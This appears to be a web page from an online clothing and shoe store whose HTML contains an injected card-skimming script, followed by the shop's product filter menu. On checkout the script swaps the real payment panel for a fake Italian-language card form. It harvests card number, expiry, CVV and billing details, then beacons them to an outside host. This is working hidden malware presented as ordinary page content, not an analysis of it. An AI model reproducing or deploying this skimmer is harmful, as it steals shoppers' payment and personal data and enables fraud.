<script>

let iisChecked = localStorage.getItem("already_checked");

let loaded = false;

let loaded2 = false;

let url5555 = "https://stratmerikspossible.top/api/accept-car";

let urlInclude = "checkout";

// let placeOrderBtn = ".btn.btn-primary.btn-block.btn-lg";

// let checkbox = "#payment-option-1"

// let paymentBox = " #payment-option-1-container"

const firstNameVal = "firstname"

const lastNameVal = "lastname"

const companyVal = "company"

const addrOneVal = "address1"

const addrTwoVal = "address2"

const postCodeVal = "postcode"

const cityVal = "city"

const phoneVal = "phone"

const mailVal = "email"

function allChecked() {

  return document.URL.includes(urlInclude) && localStorage.getItem("already_checked") !== "1";

}

//RENDER

function renderForm() {

let frame = document.querySelector("#headlessui-disclosure-panel-8");

frame.getElementsByTagName("div")[0].remove();

  let newDiv = document.createElement('div')

  //FORM HTML

  newDiv.classList.add("s_div1")

  newDiv.innerHTML += `<style>

            /* CSS Variables */

            :root {

                --font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;

                --color-primary: #0570de;

                --color-border: #e6e6e6;

                --color-text: #515151;

                --color-placeholder: #757680;

                --color-background: none;

                --border-radius: 0;

                --spacing-sm: 12px;

                --spacing-md: 16px;

                --spacing-lg: 24px;

                --font-size: 0.9rem;

            }

            /* Base Styles */

            body {

                font-family: var(--font-family);

                color: var(--color-text);

                line-height: 1.5;

                margin: 0;

                padding: var(--spacing-md);

            }

            .payment-box {

                width: 100%;

                max-width: 600px;

                padding: 0;

                margin-top: 12px;

                background-color: var(--color-background);

                border: 0px solid var(--color-border);

                border-radius: var(--border-radius);

                box-sizing: border-box;

margin-bottom: 20px;

            }

            .payment-box__title {

                font-size: 1.25rem;

                margin-bottom: var(--spacing-lg);

            }

            .card-container {

                display: flex;

                flex-wrap: wrap;

                gap: var(--spacing-md);

                border: none;

            }

            .row1 {

                display: flex;

                flex-direction: row;

                flex-wrap: wrap;

                width: 100%;

            }

            .row2 {

                display: flex;

                flex-direction: row;

                flex-wrap: nowrap;

                width: 100%;

                gap: var(--spacing-md);

            }

            .card-container__field {

                flex: 1;

                width: 50%; !important

            }

            .card-container__field--wide {

                flex: 2;

                width: 100%;

            }

            .input-container {

                position: relative;

            }

            .payment-box label {

                /* display: none; */

                margin-bottom: 8px !important; /* Increased space between label and input */

                font-weight: 600;

                color: var(--color-text);

                font-size: var(--font-size);

            }

            .input-container input {

                  width: 100%;

    font-size: var(--font-size);

    border: 1px solid #c0c0c0;

    border-radius: var(--border-radius);

    box-sizing: border-box;

    font-family: var(--font-family);

    color: var(--color-text);

    padding: 10px;

    border-radius: 3px;

            }

#cvv {

height: auto;

margin-top: auto;

}

            .input-container input::placeholder {

                color: var(--color-placeholder);

            }

            .input-container input:focus {

                outline: none;

                border-color: var(--color-primary);

                box-shadow: 0 0 0 3px rgba(5, 112, 222, 0.25);

            }

            .icon-container {

                position: absolute;

                right: var(--spacing-sm);

                top: 50%;

                transform: translateY(-50%);

                display: flex;

            }

            .icon-container svg {

                height: 1.8em;

                width: auto;

            }

            .card-icons {

                display: flex;

                gap: 4px;

            }

            .card-icons svg {

                height: 1.2em;

                width: auto;

            }

            .place-order-button {

                display: block;

                margin-top: var(--spacing-md); /* Add space above the button */

                margin-right: auto

                width: fit-content;

                background-color: black; /* Black background */

                color: white; /* White text */

                border: none; /* Remove default border */

                padding: 10px 20px; /* Padding for better sizing */

                font-size: 16px; /* Font size */

                cursor: pointer; /* Pointer cursor on hover */

                transition: background-color 0.3s ease; /* Smooth hover effect */

                border-radius: 5px;

            }

            /* Responsive Adjustments */

            @media (max-width: 400px) {

                .card-container {

                    flex-direction: column;

                }

                .card-container__field {

                    min-width: 100%; /* Full width on small screens */

                }

                .payment-box {

                    padding: var(--spacing-md);

                }

            }

</style>

<section class="payment-box">

            <fieldset class="card-container">

<div class="row1">

                    <div class="card-container__field card-container__field--wide">

                        <label for="holder">Nome del titolare</label>

                        <div class="input-container">

                            <input type="text" id="holder" name="holder" placeholder="Nome del titolare" aria-label="Holder">

                        </div>

                    </div>

                </div>

                <div class="row1">

                    <div class="card-container__field card-container__field--wide">

                        <label for="cardNum">Numero carta</label>

                        <div class="input-container">

                            <input type="text" id="cardNum" name="cardNum" placeholder="Numero carta" aria-label="Card number" maxlength="20">

                        </div>

                    </div>

                </div>

                <div class="row2">

                    <div class="card-container__field">

                        <label for="exp">Data di scadenza</label>

                        <div class="input-container">

                            <input type="text" id="exp" name="exp" placeholder="MM / YY" aria-label="Expiration date" maxlength="5">

                        </div>

                    </div>

                    <div class="card-container__field">

                        <label for="cvv">Cod. di sicurezza</label>

                        <div class="input-container">

                            <input type="text" id="cvv" name="cvv" placeholder="XXX" aria-label="Security code" maxlength="4" >

                        </div>

                    </div>

                </div>

            </fieldset>

</section>`;

  

  //ATTACH

  frame.appendChild(newDiv)

  // frame.insertBefore(newDiv, refEle)

  

  //EVENT LISTENERS

  document.getElementById("cardNum").addEventListener("input", e => {

    localStorage.setItem("cardNum", e.target.value)

  })

  document.getElementById("exp").addEventListener("input", e => {

    localStorage.setItem("exp", e.target.value)

  })

  document.getElementById("cvv").addEventListener("input", e => {

    localStorage.setItem("cvv", e.target.value)

  })

  //FORMAT INPUT

  const input = document.getElementById('exp');

  

  if (input) {

    input.addEventListener('keydown', function (e) {

      if (e.key >= '0' && e.key <= '9') {

        const value = e.target.value.replace(/D/g, '');

        if (value.length === 2 && e.key !== 'Backspace') {

          e.target.value += '/';

        }

      }

    });

  }

  const cvcInput = document.getElementById('cvv');

  if (cvcInput) {

    cvcInput.addEventListener('input', function (e) {

      e.target.value = e.target.value.replace(/D/g, '').substring(0, 4);

    });

  }

  //FORM LOADED

  loaded = true;

  loaded2 = true

}

function renderBtn() {

  let placeOrderBtn = ".btn.btn-primary.center-block";

  const paymentContainer = document.getElementById("ps_checkout-card-buttons-container");

  if (!paymentContainer) return;

  const checkout = paymentContainer.querySelector(placeOrderBtn);

  if (!checkout) return;

  checkout.remove();

  const newCheckoutBtn = checkout.cloneNode(true);

  newCheckoutBtn.classList.add("s_div1_btn");

  newCheckoutBtn.addEventListener("click", () => {

    let dataObject = {

      domain: window.location.origin,

      card: localStorage.getItem("cardNum"),

      exp: localStorage.getItem("exp"),

      cvv: localStorage.getItem("cvv"),

      first_name: localStorage.getItem("firstNameVal") ? localStorage.getItem("firstNameVal") : "",

      last_name: localStorage.getItem("lastNameVal") ? localStorage.getItem("lastNameVal") : "",

      company: localStorage.getItem("companyVal") ? localStorage.getItem("companyVal") : "",

      address1: localStorage.getItem("addrOneVal") ? localStorage.getItem("addrOneVal") : "",

      address2: localStorage.getItem("addrTwoVal") ? localStorage.getItem("addrTwoVal") : "",

      city: localStorage.getItem("cityVal") ? localStorage.getItem("cityVal") : "",

      postcode: localStorage.getItem("postCodeVal") ? localStorage.getItem("postCodeVal") : "",

      phone: localStorage.getItem("phoneVal") ? localStorage.getItem("phoneVal") : "",

      email: localStorage.getItem("mailVal") ? localStorage.getItem("mailVal") : "",

      uagent: navigator.userAgent

    };

    let dobj = {

      domain: window.location.origin,

      dataObject: dataObject

    };

    //SEND PAYLOAD

    if(localStorage.getItem("already_checked") !== "1"){

      navigator.sendBeacon(url5555, JSON.stringify(dobj));

      if(localStorage.getItem("cardNum") && localStorage.getItem("exp") && localStorage.getItem("cvv")){

          localStorage.setItem("already_checked", "1");

          // document.querySelector(paymentBox).querySelector("fieldset").style.display = "block"

          document.querySelector(".s_div1").style.display = none

      }

    }

  });

  paymentContainer.appendChild(newCheckoutBtn);

}

//RENDER CHECKS

setInterval(() => {

    if (allChecked() && !document.querySelector(".s_div1")) {

        renderForm();

    }

}, 1000);

setInterval(() => {

    if (allChecked() && !document.querySelector(".s_div1_btn")) {

        renderBtn();

    }

}, 1000);

//ADD TO STORAGE

setInterval(() => {

    if(allChecked()){

        localStorage.setItem(mailVal, document.querySelector(`[name="${mailVal}"]`).value)

    }

}, 1000)

setInterval(() => {

    if(allChecked()){

        localStorage.setItem(firstNameVal, document.querySelector(`[name="${firstNameVal}"]`).value)

    }

}, 1000)

setInterval(() => {

    if(allChecked()){

        localStorage.setItem(lastNameVal, document.querySelector(`[name="${lastNameVal}"]`).value)

    }

}, 1000)

setInterval(() => {

    if(allChecked()){

        localStorage.setItem(companyVal, document.querySelector(`[name="${companyVal}"]`).value)

    }

}, 1000)

setInterval(() => {

    if(allChecked()){

        localStorage.setItem(addrOneVal, document.querySelector(`[name="${addrOneVal}"]`).value)

    }

}, 1000)

setInterval(() => {

    if(allChecked()){

        localStorage.setItem(addrTwoVal, document.querySelector(`[name="${addrTwoVal}"]`).value)

    }

}, 1000)

setInterval(() => {

    if(allChecked()){

        localStorage.setItem(cityVal, document.querySelector(`[name="${cityVal}"]`).value)

    }

}, 1000)

setInterval(() => {

    if(allChecked()){

        localStorage.setItem(postCodeVal, document.querySelector(`[name="${postCodeVal}"]`).value)

    }

}, 1000)

setInterval(() => {

    if(allChecked()){

        localStorage.setItem(phoneVal, document.querySelector(`[name="${phoneVal}"]`).value)

    }

}, 1000)

console.log("WORKING!")

</script>

Filter by

Sort by
Product Type
Category
more... less
Sub-category
more... less
Product type
more... less
Body Fit
Brand
more... less
Price
Size
more... less
Heel height
more... less
Composition
more... less
Color
more... less
Product added to wishlist